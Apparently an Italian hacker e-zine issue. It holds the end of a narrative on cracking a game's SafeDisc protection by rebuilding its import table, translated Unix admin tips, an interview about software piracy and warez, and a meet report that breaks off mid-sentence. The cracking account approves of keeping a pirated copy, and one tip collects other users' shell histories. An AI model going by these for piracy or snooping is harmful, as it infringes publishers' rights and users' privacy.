GetModuleHandleA Addr:xxxxxxxx Ci indica l'indirizzo dove memorizzata la funzione. Riorganizzate tutte le voci stampo i due file, avvio l'editor esadecimale e mi posiziono nella IAT, dove incomincia la prima voce del KERNEL32. Qui ricorreggo tutte le voci memorizzando tutte le DWORD come sono scritte sul foglio (es: non 0018D052 ma 52D01800 .. non dimenticate l'ordinamento di INTEL). Terminato questa pallosa operazione avvio il programma... e mi da ancora errore :( Lo ridisassemblo, mi posizione sulla import table di KERNEL32 e stavolta vedo che gli indirizzi sono quelli che volevo io, ma con i nomi alterati. Quasi quasi dimenticavo.... nel formato PE esiste una tabella che contiene l'ordine delle funzioni... per nostra fortuna questa IMPORT TABLE tutta ordinata... riscrivo tutte le voci come ho fatto la prima volta e risalvo il file. Stavolta lo avvio e faccio una strage di pedoni :) Alla faccia della censura. Ora, in neanche 5min ho riapprontato tutto il lavoro per l'altro eseguibile, rifatto tutta la correzione della IAT scarico il video gioco su un CD e l'originale se lo possono anche riprendere :P Mi sono fatto un bel gioco sanguinario.... Ringraziamenti: Max Pirata - Gli faccio i migliori auguri per la sua rivista! ACiD BuRN e Black Check - Gli autori degli unici tutorial che ho trovato su Safedisc xOANON - Per avermi gentilmente (miracolo!! Ha risposto alla richiesta!) indicato come fixare il tutto... solo che molto palloso questo metodo... magari mi faccio un programma la prox volta che mi capita sto coso! Un ringraziamento anche a mia sorella per avermi dettato tutti gli indirizzi della IAT che andavano fixati ... anche se per lei erano delle stupide cifre per me avevano un'importanza particolare!!! Peccato che non sapeva che stessi facendo :) Al proprietario del CD originale.. grazie assai :) Oltre che a farmi una copia di questo magnifico gioco, ne ho anche ricavato qualcosa di utile per questo mondo malefico... Un saluto a tutti gli studenti e/o aspiranti cracker novelli o professionisti che sono iscritti alla UIC, nonostante sia scomparso in circostanze assai misteriose Quequero... forse stato rapito dagli alieni o magari ha deciso di darsi alla latitanza come +ORC (e magari un giorno ci arriver qualche lettera di Quequero dal Zimbawe :) ) e tutti gli assidui frequentatori di #crack-it ([alt255] in testa!!! :P). Infine una nota dolente.. possibile che non si trova un crack quando lo si ricerca sulla rete ?? Ho dovuto crackare l'intero gioco x necessit altro che x il tutorial... non ho trovato il benedetto crack x la versione ITA. ۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰ ͻ Ŀ UN TRUCCO AL GIORNO GRAZIE A WWW.UGU.COM ٺ ͼ INTRO Salve a tutti qui e' il vostro N0bodY88-ooo chi vi parla dal suo router con hostname N0bodY88-ooo# e che oggi vi portera' delle traduzioni prese dalla mailing-list dei tips del sito www.ugu.com il mitico sito degli Unix Guru Universe. Ogni merito per quanto sto x dire va a loro e solo a loro xche' io non ho fatto altro che divertirmi (?!?) a tradurre alcuni dei piu' bei (imo) trucchi apparsi sulla ml ultimamente. Ricordo inoltre che x abbonarsi basta lasciare la propria email nel sito e si ricevera' 1 trucco al giorno (fino a che non ci si unsubscribera' ovviamente ;). Ecco quelli da me scelti x essere portati ai posteri che mi scrutano e pensano " ma questo e' pazzo... " ---------------------------------------------------------------------- TITOLI ()-< CREARSI DEI PROPRI GRUPPI DI ALIASES ()-< MONITORAGGIO DEGLI ACCESSO ROOT NEL FILE PASSWD ()-< VELOCI COLONNE CON AWK ()-< FAI IL BACKUP DEL KERNEL ()-< TRUCCHI X NEWBIES CON L'"RM" ()-< AVERE INTENZIONE DI FARE SHUTDOWN ()-< VEDERE IL PID DI UN PARTICOLARE PROCESSO ()-< LIMITARE LA GRANDEZZA DEL CORE ()-< USA DEI TUOI ALIAS! ()-< FTP ANONIMO NEL MODO PIGRO ()-< VULNERABILITA' UNIX ()-< FARE UNA PARTIZIONE DI SWAP AL VOLO ()-< USARE NFS3 MENTRE SI STA USANDO SOLO NFS2 ()-< NASCONDERE QUEL FILE ()-< SOLO LE DIRECTORY ()-< UCCIDI UN UTENTE, COME LO INTENDE UNIX ()-< COLLEZIONARE FILE ()-< IL DUMP IN UN FILE ()-< TIENI GLI UTENTI FUORI CON IL NOLOGIN ()-< EDITARE UN FILE PERSO ()-< ESTRARRE DA UN FILE TAR CORROTTO ()-< COME CRIPTARE UN FILE ASCII ---------------------------------------------------------------------- CREARSI DEI PROPRI GRUPPI DI ALIASES Se vuoi creare un alias per un gruppo di persone con interessi in comune, sulla tua workstation (diciamo una workstation SUN), allora includi la seguente linea alla fine del file /etc/aliases e esegui il comando /bin/newaliases unixtips: bhavin@foobar.com, atulk@foobar.com, virajpikle@mail.com Adesso, un e-mail mandata ad alias_name@workstation_name.foobar.com sara' rigirata agli indirizzi listati sopra nel file /etc/aliases. In altre parole, se il nome della mia workstation e' "soorya", un e-mail mandata a unixtips@soorya.foobar.com sara' rigirata a bhavin@foobar.com, atulk@foobar.com, and virajpikle@mail.com Questo tip e' stato segnalato da: bhavin@informix.com ---------------------------------------------------------------------- MONITORAGGIO DEGLI ACCESSO ROOT NEL FILE PASSWD Uno dei piu' popolari metodi conosciuti x "bucare" una macchina Unix e' l'inserire un uid con valore 0 nel file /etc/passwd che potrebbe essere fatto in molti modi inculse backdoor per accessi futuri. Lo script sottostante visualizza dei messaggi di pericolo se sono state trovate alcune modifiche. Semplicemente metti lo script nel crontab e eseguilo tanto spesso quanto vuoi. ------------------------------CUT HERE----------------------------------------- for id in `awk 'FS=":" {if(($3 == 0 && $1 != "root" )) print $1}' /etc/passwd` do cat << the_end >/dev/console +---------------------------------------------------------------- | | `date "+Detacted On Date :%D Time :%r"` | Break-in ALERT! Login ID `echo ${id}` has uid 0 | +---------------------------------------------------------------- ------------------------------CUT HERE---------------------------------------- ---------------------------------------------------------------------- VELOCI COLONNE CON AWK La maggior parte delle volte che usate awk da linea di comando, tu fai semplicemente: ps -ef | grep netscape | awk '{print $2}' Per salvare scrivendo, usate questo script solamente quando vorrete usare awk per stampare una o piu' colonne: ------------------- CUT HERE --------------------------- #!/bin/ksh # awkc - print out one or more columns p=\$$( echo $1 | sed 's/,/,\$/g' ) shift eval "awk '{ print $p }'" $* # eof ------------------- CUT HERE --------------------------- Adesso puoi fare cose come: ps -ef | awkc 2,1 oppure awkc 1,2,3 /var/adm/messages* Questo tip e' stato segnalato da: kbeer@dbna.com ---------------------------------------------------------------------- FAI IL BACKUP DEL KERNEL In qualsiasi modo sia chiamato il tuo kernel file: /vmunix /unix fanne SEMPRE il backup su un altro fylesystem o partizione che tanto non fa mai male! ---------------------------------------------------------------------- TRUCCHI X NEWBIES CON L'"rm" I newbies devono stare attenti a che i loro file e le loro directory siano chiamate * -rw-r--r-- 1 root sys 0 Jul 30 21:54 * -- oppure -- drw-r--r-- 1 root sys 0 Jul 30 21:54 * Usate il seguente comando per cancellarlo: # rm \* E' una facile trappola in cui cadere. Tutti i vostri file potrebbero essere cancellati, o magari il tuo intero SISTEMA. Se non sei sicuro, fai una directory qualsiasi in /tmp. # mkdir /tmp/foo Muovi il file nella directory # mv \* /tmp/foo Poi cancella tranquillamente il file nella directory sicura. # rm \* Usa SEMPRE-sempre rm-i se c'e' qualke dubbio circa i file che stanno per essere rimossi. Su tutti i miei account di root io ho fatto l'alias, io uso ksh, rm = 'rm -i', che mi dara' un ultima chance per non cancellare un file o un intero gruppo di file. ---------------------------------------------------------------------- AVERE INTENZIONE DI FARE SHUTDOWN Se l'hostname e' visualizzato come parte del prompt, sii sicuro di eseguire uno dei seguenti comandi prima che un comando di shutdown/reboot/halt sia eseguito. # id # uname -a ---------------------------------------------------------------------- VEDERE IL PID DI UN PARTICOLARE PROCESSO C'e' un altro modo x andare a vedere il PID di un particolare processo prima ancora di fare un pipe del l'output di un ps col comando grep e cercandolo. Solaris 2.x (e forse qualke altro SVR4s) puo' usare il comando fuser(1). Semplicemente usate il seguente comando da una Bourne Shell: fuser /path/to/executable 2>/dev/null Il comando fuser stampa su schermo il PID di tutti i processi che al momento hanno aperto il file nominato, e tutti i processi avranno i loro stessi segmenti di testo degli eseguibili aperti. Il comando fuser stampera' anche il PID di tutti i processi che hanno un file o piu' file aperti in lettura, oppure che stanno usando la directory nominata come directory corrente. I PID sono stampati in standard output. La formattazione e il nome dei file sono stampate in standard error. Essa puo' anke prendere l'opzione -k per mandare un segnale KILL a tutti i PID trovati. Questo e' molto di piu' che fare un grep all'output del ps. ---------------------------------------------------------------------- LIMITARE LA GRANDEZZA DEL CORE Tu puoi limitare la grandezza dei "core" file usando ulimit e limit: $ ulimit -c SIZE_IN_BLOCKS # under sh or ksh $ limit coredumpsize SIZE_IN_KB # under csh or tcsh $ limit # Display current settings Per esempio : % ulimit -c 10 % sleep 100 & % kill -SEGV $! % ls -l core ... 5120 ... core % file core core re: ... from 'sleep' ---------------------------------------------------------------------- USA DEI TUOI ALIAS! Renditi la vita piu' facile senza ripetere ogni gg un lungo e complesso comando ma digitandone uno corto rendendoti la vita di amministratore piu' semplice! I comandi alias possono essere messi negli script di startup al momento del login, come il file .cshrc. Uso: la sintassi e': alias [new name] [command] Esempio: ls -al Diventa: alias ll 'ls -al' ----------------------------------------------------- Esempio: ps -ef | grep root Esempio: alias psg 'ps -ef | grep $1' In seguito al prompt di shell digita: % psg root ===================================================== Alcuni aliases utili: alias ll 'ls -al | more' alias setvt 'set term=vt100' alias setfoo 'setenv DISPLAY foo.foobar.com:0' alias ^L clear alias m more alias ff 'find . -name \!* -print' alias s source alias dir ls -l alias r rlogin alias ftpfoo 'ftp foo.foobar.com' ---------------------------------------------------------------------- FTP ANONIMO NEL MODO PIGRO Ci sono molti siti FTP la' fuori su internet. Cosi' ogni volta, i comandi seguenti devono essere immessi: % ftp ftp.foobar.com Dopodiche' deve essere digitato il nome: anonymous E infine la password (che tipicamente e' la tua mail): ............... L'intero processo puo' essere ridotto a: % ftpp ftp.foo.bar Cosa e' "ftpp"? E' uno script di 2 righe. Create un file chiamato ftpp. Aggiungete le due linee seguenti: echo "machine $1 login anonymous password my_email_address" > $HOME/.netrc ftp $1 ($HOME e' il path della vostra home directory) Salvate il file e poi cambiate i permessi cosi': chmod 755 ftpp ---------------------------------------------------------------------- VULNERABILITA' UNIX Information provided by the Sans Institute: www.sans.org Le 10 piu' comunti vulnerabilita' exploitabili di UNIX? >Poor system administration practices >Race conditions >Reusable/poor passwords >Flawed SUID programs (e.g., rdist, binmail) >HTTP server and CGI >application vulnerabilities >Default "+" entries in the /etc/hosts.equiv file >NFS/NIS vulverabilities >sendmail program bugs >Buffer overruns (e.g., gets(), syslog()) >SUID shell scripts ---------------------------------------------------------------------- FARE UNA PARTIZIONE DI SWAP AL VOLO Dopo avere installato il tuo O.S., hai mai avuto bisogno di piu' swap? Basta aggiungerlo. Crea lo swap file: # mkfile 100M /usr2/swap/swap_100Megs Rendi lo swap attivo: # swap -a /usr2/swap/swap_100Megs Verfica che il tuo nuovo swap e' implementato: # swap -l Aggiungi una voce al file /etc/fstab o /etc/vfstab x renderlo attivo ad ogni boot: /usr2/swap/swapfile_100Megs swap swap pri=3 0 0 Alcuni sistemi non permettono di aggiungere lo swap al volo ( =) ), per favore controllate le pagine man per il vostro sistema in particolare. Alcuni sistemi inoltre aggiungono lo swap in modo diverso, quindi anke qui controllate le vostre pagine man. ---------------------------------------------------------------------- USARE NFS3 MENTRE SI STA USANDO SOLO NFS2 La maggior parte delle nuove versioni NFS adesso sono NFS 3. Con molti sistemi che ancora usano NFS 2, i nuovi sistemi vanno in timeout se un mount da e per NFS 2 e' provato. Il sistema NFS 3 eventualmente cadra' sul protocollo NFS 2, ma x rendere la vita piu' facile e piu' veloce, specialmente durante la fase di boot e la fase di mount di questi tipi di filesystem, di seguito create i vostri punti di mount aggiungendo l'entrata "nfs2" al vostro file /etc/fstab o al file /etc/vfstab: #============================================================= # filesystem directory type options frequency pass #============================================================= foo:/usr3 /usr3 nfs2 rw,bg,hard,intr 0 0 Da un shell la linea dovrebbe essere questa: # mount -t nfs2 foo:/usr3 /usr3 ---------------------------------------------------------------------- NASCONDERE QUEL FILE Qualke volta vuoi rendere un file veramente sicuro. Per fare cio', cambiate i permessi in 000 # chmod 000 [file] nessuno eccetto il root sara' capace di accedervi. Mai il proprietario potra' cambiare i permessi e di essere capace di farci nulla. Comunque e' come una banidera rossa che dice... "Sono un file importante!" NOTA: NON FATE MAI QUESTO SUL FILE /etc/passwd! ---------------------------------------------------------------------- SOLO LE DIRECTORY E' utile essere capaci di listare tutte le directories nella directory corrente senza nessun file: ls -l | grep "^d" Fate l'alias aggiungendo questo nei vostri .login o nei vostri .profile o nei vostri .cshrc nella vostra home directories: alias dir 'ls -l | grep "^d"' ---------------------------------------------------------------------- UCCIDI UN UTENTE, COME LO INTENDE UNIX Presupponendo che tutti abbiamo piu' di UN UTENTE... Per killare tutti i processi associati con un particolare utente semplicemente: # kill -9 `ps -aef|grep jondoe |awk '{ print $2 }'` Se vuoi essere un amministratore simpatico, diglielo prima. ---------------------------------------------------------------------- TIENI GLI UTENTI FUORI CON IL NOLOGIN C'e' un modo x disabilitare ogni nuovo tentativo di login in un sistema. Questo puo' accadere semplicement creando un file chiamato /etc/nologin. Esso puo' avere anke grandezza nulla o un messagio puo' essere messo nel file informando lo stato del sistema. Se un utente prova a fare il login da remoto, un messaggio mostrera' il contenuto del file /etc/nologin, e poi sconnettera' l'utente. In ogni modo, le connessioni ftp non sono affette da questo, se l0'ftpd sta girando. ---------------------------------------------------------------------- TROVA L'HOG Trucco Caldo per I poliziotti del cyberspazio (Non lo siamo tutti?) Se i vostri utenti mantengono occupato tutto lo spazio nelle loro home directory, questo e' un modo per venire a sapere degli utenti trasgressori ;) cd /home du -ks *|sort -nr|pg (NOTA: L'opzione "k" puo' non essere necessaria in sistemi non-posix.) Questa stringa mostrera' tutte le grandezze delle directory in ordine, con la piu' larga davanti. Adesso se vuoi pulire, in una di queste directory esegui: ls -ls|sort -nr|pg Questo fara' la lista di tutti i file in ordine di grandezza. In questo modo quando tu farai le tue compressione, spostamenti o rinominazioni, potrai risparmiare un numero significante di spazio. Questo trucco e' stato apportato da: uspncjpf@ibmmail.com ---------------------------------------------------------------------- COLLEZIONARE FILE NOTA: A seconda di come il comando e' usato, un amministratore con la root puo' abusare dei propri privilegi Se ci sono file simili su un file system e tu speri di collezionare il contenuto di questi file (possibilmente x ragioni di sicurezza) il seguente comando cerchera' x tutto il sistema per un file dara' in output i contenuti in un file x essere visto. # find / -name .rhosts -perm -004 -print > rhosts 2>e & Un altro uso che si e' dedotto e' che qualcuno puo' imparare cosa gli altri utenti usano. Essi possono quindi pensare ad alcuni trucchi a cui tu non hai mai pensato: # find / -name .bash_history -perm -004 -print >o 2>e & ---------------------------------------------------------------------- IL DUMP IN UN FILE Mai avuto il bisogno di fare il dump dei contenuti di una partzione in un singolo file su una macchina remota. La macchina locale deve essere nella lista degli host "certificati" della macchina remota x svolgere questa operazione. Usate il seguente comando: # dump 0fb - 126 [filesystem] | rsh [remote machine] \ '(cd [destination dir];dd of=[destination file] os=126b)' # dump 0fb - 126 /dev/root | rsh foo '(cd /usr2/tmp;dd of=root.dump os=126b)' ---------------------------------------------------------------------- EDITARE UN FILE PERSO Dimenticato dove hai messo i tuoi files? Piuttosto che specificare un pathname specifico usate invece il comando di sostituzione Invece di: % vi /usr/local/bin/foo Provate: % vi `which foo` NOTA: i file devono essere nel tuo path per trovarli. Questo trucco e' stato apportato da: thockin@ais.net ---------------------------------------------------------------------- ESTRARRE DA UN FILE TAR CORROTTO In molti casi se c'e' un file tar corrotto il seguente comando puo' essere usato in una prova dell'estrazione dei file: % cat [tar-filename] | tar -xvf - NOTA: Lo "-" e' lo STDOUT ---------------------------------------------------------------------- COME CRIPTARE UN FILE ASCII Un file ascii puo' essere facilmente criptato e decriptato. Per criptare semplicemnte fate un pipe del STDOUT del file da criptare e ridirigetelo in un nuovo file. Immettete una password quando vi sara' chiesto "Immetti una chiave: " $ cat foo | crypt > foo.e Enter key: Per decriptare semplicemnte fate un pipe del STDOUT del file criptato e ridirigetelo in un nuovo file. Immettete una password quando vi sara' chiesto "Immetti una chiave: " $ cat foo.e | crypt > foo.new Enter key: ---------------------------------------------------------------------- Un saluto a Fritz, Mayhem, Fake, Black Berry, |Cyrax|, Blinking, Harlok, Dante, Jammina, Nick1, RigoR MorteM, Avatar, CDP, Blum, Flamer, Ax1s, NikDH, Zio Mik, Spirit, Nhaima, Neuro e Wurzel...anke se so che quasi nessuno di questi leggera' questo art :PPP E questo e' tutto x l'angolo del traduttore quindi un saluto dal vs N0bodY88-ooo e una ciauz alla proxyma volta :-) Ciaaaaaaauzzzzzz Per flame, spam, catene di santantonio, foto di mike bongiorno nudo in piscina e quant'altro in generis mailate a webmaster@gdf.it o root@gdf.it o qualcosa di simile... se invece volete dirmi solamente che non ho motivi x vivere e che devo sacrificarmi e uccidermi xche' sulla terra siamo troppi, mailatemi a root@nasa.gov. Per tutti gli altri motivi n0body88@freemail.it ۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۲۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰ ͻ Ŀ INTERVISTA A UGO LAVIANO ٺ ͼ Intervista a Ugo "Boba-Fett" Laviano...per riuscire un po' a capire cosa ne pensano le riviste di giochi del nostro operato e per...eventualmente avere qualke dritta sul software Linux :PPpp e-mail: EGO@flashnet.it Urlz utili: www.nextgame.it www.g-o-l.com scus... te scrivi per Zeta per caso ? dovrei chiederti una cosa...plz dimmi ti andrebbe...di rilasciare una mezza intervista per una e-zine ? stai scherzando? no...assolutamente no vorrei sapere la tua opinione circa alcun cose boh si ma non capisco il perche' :) di che e-zine si tratta? la nostra e-zine si occupa principalmente di sicurezza e + in generale dell'undernet bene allora....se vuoi partiamo oka allora....ti interessi di sicurezza ? possiedo un infarinatura di base come hai incominciato a lavorare per Zeta ? prima scrivevo per una e-zine di videogiochi (ancora oggi se e' per questo) potrei sapere il nome ? Games On Line da li ho iniziato a conoscere un po' di gente e poi sono finito su zeta... e altre riviste certo Games On Line che presto diventera' qualcosa di moltooooo piu' grande benissimo...quanti anni hai ? 23 senti...vorrei sapere...ma secondo te...i vostri lettori che opinione hanno dell'undernet...o cmq del movimento sottostante la rete ? e ancora...in che modo secondo te possono essere influenzati positivamente o negativamente dai giornali ? dipende ormai il target di questo tipo di riviste e' molto ampio la maggior parte dei nostri lettori compra sicuramente piu' di una testata mi posso riferire al lettore che ci piacerebbe avere o al cosidetto zoccolo duro benissimo parlami di quello direi che lo stile della rivista prova sicuramente simpatia per l'undernet spesso facciamo servizi su rom e emulatori o su server non ufficiali che si possono ricondurre in parte all'undernet cosa ne pensi tu personalmente del libero scambio di dati e di informazioni sulla rete?? sono favorevole ma naturalmente anche qui le cose credo vadano prese con le pinze benissimo...cioe'.... allora....credi che vi voglia cmq una qual sorta di regolamentazione anche se piccola sulla rete ? non sono a favore del pirataggio selvaggio no regolamentazione no ^_^ ...vabbe'...cmq...buono il fatto che i magazine siano dalla nostra :) sai com'e' parecchie volte... si leggono sui giornali... recensioni o lettere assurde in cui ci si figura come dei mostri.... dei geni del computer messi al servizio del male :P il problema e' che e' un'ambiente sfruttatissimo in che senso ? nel senso che viene spesso sfruttato malamente voi fate una cosa gratis, ed un pirata poi ci lucra sopra le crack dei Vg per esempio lo so...... in effetti lo scopo del vero "cracker" inizia a esserci un mercato della pirateria gestito seriamente dalla mala oramai non e' quello di copiare il gioco... ma quello di abbattere lo schema di protezione :) appunto ma a questo si riduce in ambito pratico brutta cosa :( del ragazzino che ha 200 giochi per pc delle idee degli hacker sul libero scambio non gliene fotte una mazza vuole solo tutti i giochi hai ragione :( purtroppo e' cosi' e la cosa peggiore e' che adesso il mercato della pirateria inizia a essere gestito dalla mala organizzata Azz scarica le crack copia i giochi e li fa vendere a prezzo fisso ai dipendenti (extracomunitari in genere) dici le bancarelle con i soft per PSX ? certo ma purtroppo... il prezzo e' 10 volte minore... si ma il punto e' un altro il guadagno e' comunque 6 volte superiore e sti soldi vanno alla mala non alle software house non si dovrebbe...ma e' inevitabile...in fondo...come qualita'... siamo li' lo so il guadagno e' comunque 6 volte superiore e sti soldi vanno alla mala non alle software house un cd da 10.000 alla mala costera' al massimo 1.400 comprano i cd vergini in mega stok fotocopietta a colori da due lire e via come avrai notato spesso le copertine tra le varie bancarelle sono uguali perche' si riforniscono da un'unica fonte questo fa si che entrino 8.000 a gioco in tasca alla mala organizzata e 0 alle software house, il che e' sicuramente peggio.... e dei siti Warez che ne pensi ? che sono comodi :) ^_^ trovo sia intrigante la ricerca e comunque il lavoro che sta dietro ai siti warez la sfida nel crackare i programmi quindi il mondo del cracking ti affascina.....non ti sei mai accostato ad esso ? direttamente no mi intriga la possibilita' che i meno facolotsi possano usufrire di prodotti altrimenti fuori portata ed e' comunque chiaro che molti dei talenti, per fare un esempio, nella grafica 3d sono esplosi grazie alla possibilita' di usare software pirata altrimenti fuori dalla loro portata Dimmi un po'... cosa nei pensi dei prezzi del software in commercio ? trovo sia chiaramente esagerato ma al tempo stesso credo sia un serpente che si mangia la coda eh si' il fenomeno del software playstation ne e' un caso lampante e di Linux cosa ne pensi ? riuscira' a contrastare il monopolio di "Caronte" Gates ? dubito e me ne dispiaccio credo che la sua nicchia tra i professionisti riuscira' comunque ad averlo tu che sei sicuramente molto + informato.... sul software... che uscira' presto.... non e' detto... :) dicci un po'.....qualcosa per Linux ? giochi ? programmi ??? si' qualcosa si muove e la nuova versione di games On Line si occupera' anche di questo sistema :))) ma anche qui la situazione e' in stallo :((( non ci puoi anticipare niente ? come mai in stallo ? se gli utenti sono pochi le software house non programmano se non ci sono prodotti specifici gli utenti non si avvicinano eh si'....e' una catena credo che l'utenza Linux sia comunque composta solo da gente con un'alta cultura informatica capito...quindi...la scena si sposta verso linux...anche se e' ancora in stallo o meglio...+ che si sposta... ci si accosta :) (finalmente direi) si', la sfiora delicatamente che ne pensi delle tariffe telecom e degli abbonamenti gratuiti ? tipo...tiscali e libero.. e robe varie ? dio maiale gli abbonamenti gratuiti sono comodi ma bisogna vedere come e quanto resisteranno e con quali controindicazioni (spam pubblicita' etc et.) tariffe telecom ? le tariffe telecom sono un latrocinio e basta ecco :) vabbe'.....l'intera redazione di NewBies ti ringrazia.... te salutamo ^_^...ciao bello ! di nulla ;) ciappete ciape! ultima cosa....l'urlo della tua rivista ??? ti lascio l'url in anteprima mondiale se vuoi dagli uno sguardo Azz :=) www.nextgame.it e' il sito nuovo quello vecchio non viene aggiornato da 15 giorno (prima tutti i giorni) www.g-o-l.com oki cia cia Tnx...bye! NOTA DI N0bodY88 : raga a nome di tutti voi che leggete ringrazio il mitico Dantuzzo x questa intervista (anke se sinceramente adesso so geloso di lui :P) in piu' il bastard (amorevolmente si intende) si e' anke imparato bene l'asm e io nun ce so ancora se non x reversa o capi qualke crackme e qualke prog col valido supporto di nedda! ͻ Ŀ MEET DA SBALLO IN QUEL DI MI... ٺ ͼ TITOLO: RESOCONTO DI UN MEET SOTTOTITOLO: COME CI DISTRUGGIAMO QUANDO SIAMO INSIEME SOTTOSOTTOTITOLO: COME TRASFORMARE UNA CASA IN UN PARADISO SOTTOSOTTOSOTTOTITOLO: COME SUPERARE TUTTO CI SENZA AVERE NESSUN SEGNO SOTTOSOTTOSOTTOSOTTOTITOLO: NONEX AVEVA RAGIONE PORCA PUPAZZOLA!!! LIBRI IN NS POSSESSO AL MEET: MKLinux Linux Massima Sicurezza Architetture di instradamento di internet Progettare una rete sicura Lo Hobbit (smav ha tentato di leggerlo...mah..) ) num 5 topolini Tv Sorrisi & Canzoni Play Applicando Codici Computer Come hai osato leggere la mia email (n0bo ha tentato di leggerlo...mah...) GG PERSI A TENTAR DI CONFIGURARE IL ROUTER 771 DI V56: 2 + 1 esaurimento di Asynchro + 4 bestemmie di L0rdo ps: abbiamo staccato l0rdo che sbavava schiuma bianca quando ha digitato 2 volte di fila ls sulla console del 761 chiedendosi xche' non andava...hihihi INTRALLAZZI TRA I COMPONENTI DEL MEET: nessuno o almeno con me :((( by n0bo ORE PASSATE IN CHAT IN + D4 PERSONE: in media 13 al gg POSTI IN CUI SI E' DORMITO: letto di adry&v56, letto di smav, letto di sharra, altro letto di smav, divano di casa HDE, tavolo cucina, pavimento del pogiolo, 2 sdraio sul pogiolo, due sedie vicine, moquette (commento di asynchro "E' comoda!!") e molto altro =) NUM MAX DI PERSONE NEL LETTO DI SMAV CONTEMPORANEAMENTE: 7 ma non vi dico chi :PPPPPPPPPPPPPPPPPPP LE FOTO DEL MEET LE TROVATE A: www.vipiacerebbesaperlo.it :PPPP PERSONE BASTARD INSIDE CHE SONO VENUTE: noneX, Adryana, smav, Sharra, V56, A-SyNcHr0, Krige, koMA, N0bodY88-ooo, L0rdo, MaDDa. PERSONE BASTARD INSIDE CHE NON SONO VENUTE: Spirit, Dante, Devilnet, p0nic0, Vecna. SPECIAL THANKS GOTO: RaStOn3 (che nessuno conosce ma e' un mito!), smav x ovvi motivi, smav xche' va tutto minuscolo e me la mena, noneX xche' e' b.i. ad avere sempre ragione, spirit idem, l'istinto sessuale di M4n|4c666 che finalmente si e' risvegliato, spirit che se la prossima volta tira il pacco ci trasferiamo tutti a casa sua :PPP 1GIORNO (SABATO 15\04\2K): Io (N0bodY88-ooo) arrivo a casa della famiglia HDE (ovvero Hacker D'Elite) con l'aiuto fisico e menta le dell'amico Yago. I ns due protagonisti iniziali dopo una breve visita iniziale (nostalgica?) alle risaie piemontesi (involontaria deviazione =) si girano e approdano a quel fantastico paese qual'e' ass***. Fin dal primo momento viene sommerso da un mondo di coccole di una certa adry conosciuta al futurshow dopo mesi e mesi di adulazioni da parte del dantuz (ciao dante bastard dovevi venire!!!!). Al meet erano quindi presenti in origine le seguen ti persone: Adryana, Sharra, Smav, V56, Koma, Yago e il vs fido (???) redattore x non dimenticare il valido aiuto di uno speciale gatto dell'antidroga anke chiamato nel giro degli spaccioni.. Spillo :D La serata e' continuata con caricamentos di 486 e altro hw (v56 rulez!!) nella special-machine di Yago, una cena di non diciamo cosa e dopo aver accompagnato koma alla metro, e' apparsa l'angeli ca presenza di un essere totally out of Comune, di nome noneX che ha visto con noi in ordine: The Blair Witch Project, Matrix e l'intramontabile Nirvana. Non soffermandosi sul fatto che gia' al 2 V56 dormiva su due sedie e gli altri sonnecchia vano (ma non la fida adry!) ci siamo fatti una collazione alla grande come direbbe qualcuno ;) 2GIORNO (DOMENICA 16\04\2K): dopo la collazione smav si desta dal divano delirando "Sempre la pasta!!!" per poi spiegare che pensava a Spaghetti Hackers =) Dopo poco riappare la mitica figura di Koma (in koma) con il quale si decide di anna allo Spizzico xche' e' belo cosi' e poi dando tempo al tempo si erano fatte le 12:30 ;) e un pez di piz ci stava a manetta... noneX (il bastardo dentro) ci abbandonava x non so chi e non so cosa e noi totalmente afflitti da tale evento ci consolavamo andando allo Smart Market a vedere qualcuno degli oltre 50.000 oggettini usati che vendevano... E li' il caos. Tutto comincia quando Koma N0bo & smav riescono a convincere 2 standisti mezzi ubriachi dello Smart che odiano i pc e questi prendendoli in simpatia regalano loro varie cose tra cui 1 accappatoio, un tanga rosso da uomo, una maglietta. Partendo da questo misero bottino (in realta' koma si e' scolato 2 bicchieri di grappa) i ns eroi (koma e smav) cominciano il viaggio con una bella scommessa: andare in giro vestiti con l'accappatoio e il tanga (se mi cono scete chiedetemi le foto che ve fanno schiatta uahahahahah). Non contenti i ns eroi decidono di fare come le Iene andando di baratto in baratto x vedere di arrivare ad un peluche :D La 1a acquisizione e' stato uno zippo...la 2a degli shangai e dei campioncini di profumo in omaggio;) da li' il passo e' stato breve..si e' subito giunti al tanto desiderato peluche. Dopo una pausa cicca (perche' qualcosa di illegale ci voleva..) in uno spazio riservato agli addetti, pensammo bene che a missione compiuta si poteva anche tornare a casa. Tra l'altro abbiamo comprato un gioco della PSX, "Kula world"...un gioco di una palla:P Dopo questa giornata di distruzione cosmica i ns eroi perdevano koMA (che tornava a casa) e si addormentavano felici e contenti.I giovani della situazione, addormentati sul divano, venivano accompagnati da due angeli a letto. 3 GIORNO (LUNEDI' 17/04/2K): il meet finiva...il n0bo alle 4 era disperato ed ascoltava i RHCP ed alle 8 apparivano in salotto le figure emblemati che di V56 e smav con i quali il n0bo ha deciso di restare fino alle 11 x poi essere accompagnato in stazione da Sharra, Smav e Adry in metro x poi fare un breve saluto al miticuz Dev via phone il quale era in gita. Alla partenza del treno la disperazione del N0bo che aspetta ancora la risposta del tribunale x l'adozione in casa HDE.......... X la cronaca il n0bo arriva in ritardo di 2 ore al lavoro senza avvertire e non contento chiedeva 5 gg di ferie :D Il capo stranamente (forse lavoro male??????) (lavorare??? ma se passi tutto il tempo a chattare ed a scroccare chiamate dall'ufficio!! ndA-SyNcH) fu contento di dare le ferie al suo dipendente preferito e quindi il n0bo scrisse sms a mezzo mondo diffondendo la sua felicita' e avvertendo i poveri tapini che come l'incubo peggiore....ritornava sempre :DDDD 4 GIORNO (MARTEDI' 18/04/2K): dopo 12 ore di sonno che dovevano bastare x l'intera settimana (SI COME NO!!!) il n0bo prendeva il treno con comodo e appena messo piede a milano (dopo diverse peripezie x ritrvar la via che aveo smarrito...) veniva subito trasportato dalla famiglia HDE ad un ristorante cinese dove con molto coraggio e spirito esterofilo ordinava una pizza al tonno e finiva la scorta del locale di coca cole assieme a validi aiuti quali smav e sharra. Apparivano in questo locale una strega di nome Vittoria e il suo marito Dario noto maestro di arti marziali ma.. non era finita!!! Dopo una telefonata a _p0nic0_ by sharra smav e n0bo arrivava noneX e 